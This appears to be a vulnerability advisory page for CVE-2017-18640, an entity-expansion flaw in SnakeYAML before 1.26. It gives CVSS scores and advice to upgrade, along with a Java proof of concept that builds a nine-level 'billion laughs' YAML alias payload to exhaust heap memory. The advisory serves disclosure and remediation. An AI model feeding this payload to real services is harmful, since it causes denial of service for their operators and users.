icon

We found results for “

CVE-2017-18640

Date: December 11, 2019

Overview

The Alias feature in SnakeYAML before 1.26 allows entity expansion during a load operation, a related issue to CVE-2003-1564.

Details

Using SnakeYaml to parse YAML file which contain malicious payload that consist of multiple entities, each defined of multiple of previously defined entities, causing a denial of services due to heap overflow. This kind of attack also known as “billion laughs attack”.

PoC Details

Creating a Yamal file from "content" string which imlments a multiple entity hierarchy in this POC of 9 levels, causing a heap memory overflow due to the amount of data that stored in heap memory during the load of this huge Yamal file.

PoC Code

  String content = "a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
" +
"b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
" +
"c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
" +
"d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
" +
"e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
" +
"f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
" +
"g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
" +
"h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
" +
"i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]";
org.yaml.snakeyaml.Yaml yaml;
yaml = new org.yaml.snakeyaml.Yaml();
Map map = (Map) yaml.load(content);
System.out.println(map);

Affected Environments

Before 1.26

Remediation

-

Prevention

Update to version 1.26

Language: DEBIAN

Good to know:

icon
icon

Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')

CWE-776
icon

Upgrade Version

Upgrade to version org.yaml:snakeyaml:1.26

Learn More

Base Score:
Attack Vector (AV): Network
Attack Complexity (AC): Low
Privileges Required (PR): None
User Interaction (UI): None
Scope (S): Unchanged
Confidentiality (C): None
Integrity (I): None
Availability (A): High
Base Score:
Access Vector (AV): Network
Access Complexity (AC): Low
Authentication (AU): None
Confidentiality (C): None
Integrity (I): None
Availability (A): Partial
Additional information:

Related Resources (114)